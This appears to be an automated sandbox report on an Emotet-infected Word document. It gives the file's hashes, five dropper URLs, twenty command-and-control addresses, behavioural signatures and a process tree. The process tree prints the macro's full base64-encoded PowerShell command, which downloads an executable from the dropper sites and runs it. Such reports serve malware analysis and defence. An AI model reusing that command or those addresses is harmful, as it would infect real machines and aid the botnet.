Analysis

  • max time kernel
    152s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    12/08/2020, 07:46

General

  • Target
    emotet_e3_0d57f0692734be086746e4e2ca37f6ebea2127e37208d0ffd15021970d6b5a0d_2020-08-12__074538._doc.doc
  • Size 228KB
  • Sample200812-e1g85vfj6j
  • SHA256 0d57f0692734be086746e4e2ca37f6ebea2127e37208d0ffd15021970d6b5a0d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://dyzy.c8xtt.com/Uploads/12jtbnwh2xk54420382/

  • exe.dropper

    https://ilmazon.com/images/8nYBgh7izrva76988/

  • exe.dropper

    http://utsunomiya.demae.life/ibtql/WLy/

  • exe.dropper

    http://saharfiroozian.com/wp-admin/MWuA/

  • exe.dropper

    https://studentscorner.info/wp-content/P1p8fid651819/

Extracted

Family
  • emotet

C2
  • 92.24.51.238:80

  • 139.99.157.213:8080

  • 188.166.25.84:8080

  • 81.214.253.80:443

  • 5.79.70.250:8080

  • 41.185.29.128:8080

  • 181.164.110.7:80

  • 177.37.81.212:443

  • 203.153.216.178:7080

  • 178.33.167.120:8080

  • 77.74.78.80:443

  • 37.70.131.107:80

  • 190.164.75.175:80

  • 75.127.14.170:8080

  • 78.188.170.128:80

  • 113.161.148.81:80

  • 105.209.235.113:8080

  • 177.144.130.105:443

  • 81.17.93.134:80

  • 181.134.9.162:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_0d57f0692734be086746e4e2ca37f6ebea2127e37208d0ffd15021970d6b5a0d_2020-08-12__074538._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1412
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABIAEkAUwBPAFgAZQB5AGQAPQAnAFMAUgBDAE8AUABkAGkAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAHIASQBUAGAAeQBwAFIAYABPAGAAVABPAGAAQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABUAEQAQQBEAEgAbABoAHQAIAA9ACAAJwAzADYAOAAnADsAJABBAFcAWQBLAE4AYgBxAGIAPQAnAFIARwBaAFYAQQBlAGMAcQAnADsAJABYAEwAQgBIAFAAdQBuAGUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFQARABBAEQASABsAGgAdAArACcALgBlAHgAZQAnADsAJABJAE8AWABKAEwAaAB2AG0APQAnAEUATwBXAFUAVgBiAG0AcwAnADsAJABVAFgAQgBaAEMAYgBqAHYAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAQwBMAEkARQBuAHQAOwAkAEkATQBTAFkAUwBkAGsAZgA9ACcAaAB0AHQAcAA6AC8ALwBkAHkAegB5AC4AYwA4AHgAdAB0AC4AYwBvAG0ALwBVAHAAbABvAGEAZABzAC8AMQAyAGoAdABiAG4AdwBoADIAeABrADUANAA0ADIAMAAzADgAMgAvACoAaAB0AHQAcABzADoALwAvAGkAbABtAGEAegBvAG4ALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AOABuAFkAQgBnAGgANwBpAHoAcgB2AGEANwA2ADkAOAA4AC8AKgBoAHQAdABwADoALwAvAHUAdABzAHUAbgBvAG0AaQB5AGEALgBkAGUAbQBhAGUALgBsAGkAZgBlAC8AaQBiAHQAcQBsAC8AVwBMAHkALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGgAYQByAGYAaQByAG8AbwB6AGkAYQBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBNAFcAdQBBAC8AKgBoAHQAdABwAHMAOgAvAC8AcwB0AHUAZABlAG4AdABzAGMAbwByAG4AZQByAC4AaQBuAGYAbwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBQADEAcAA4AGYAaQBkADYANQAxADgAMQA5AC8AJwAuACIAcwBgAFAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAFgARgBNAEcAYwBjAG0APQAnAFMAVwBCAEsATgBuAGkAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQAVQBOAEwARABVAG0AagB5ACAAaQBuACAAJABJAE0AUwBZAFMAZABrAGYAKQB7AHQAcgB5AHsAJABVAFgAQgBaAEMAYgBqAHYALgAiAEQAbwBXAG4ATABvAGEAZABGAGAASQBgAGwARQAiACgAJABVAE4ATABEAFUAbQBqAHkALAAgACQAWABMAEIASABQAHUAbgBlACkAOwAkAFgAUgBLAFIAUABiAGMAbAA9ACcAWQBXAEwAWQBJAGkAdAB0ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAWABMAEIASABQAHUAbgBlACkALgAiAEwAYABlAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA0ADkANQAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBgAGUAYQBUAGUAIgAoACQAWABMAEIASABQAHUAbgBlACkAOwAkAFYASABVAEcAWgBiAGMAcQA9ACcAVQBBAEoATQBSAGcAcABhACcAOwBiAHIAZQBhAGsAOwAkAFIASABEAEsAVgBwAGUAcAA9ACcAVQBOAFQAUQBUAHQAbwBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMATABLAFAATQBrAGUAcgA9ACcATwBLAFQAUgBUAGgAdABiACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1772
  • C:\Users\Admin\368.exe
    C:\Users\Admin\368.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Windows\SysWOW64\dvdupgrd\certmgr.exe
      "C:\Windows\SysWOW64\dvdupgrd\certmgr.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1064

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1064-20-0x00000000002D0000-0x00000000002DC000-memory.dmp

        memory/1412-4-0x0000000006EE0000-0x00000000070E0000-memory.dmp

        memory/1412-5-0x000000000AD70000-0x000000000AD74000-memory.dmp

        memory/1412-6-0x000000000BDF0000-0x000000000BDF4000-memory.dmp

        memory/1412-2-0x0000000008800000-0x0000000008804000-memory.dmp

        memory/1560-21-0x000007FEEF870000-0x000007FEEFAEA000-memory.dmp

        memory/1744-16-0x0000000000250000-0x000000000025C000-memory.dmp

        memory/1772-8-0x000007FEEA060000-0x000007FEEAA4C000-memory.dmp

        memory/1772-14-0x000000001C4E0000-0x000000001C4E1000-memory.dmp

        memory/1772-13-0x000000001B660000-0x000000001B661000-memory.dmp

        memory/1772-12-0x00000000022F0000-0x00000000022F1000-memory.dmp

        memory/1772-11-0x000000001AB40000-0x000000001AB41000-memory.dmp

        memory/1772-10-0x000000001AC10000-0x000000001AC11000-memory.dmp

        memory/1772-9-0x000000001A9D0000-0x000000001A9D1000-memory.dmp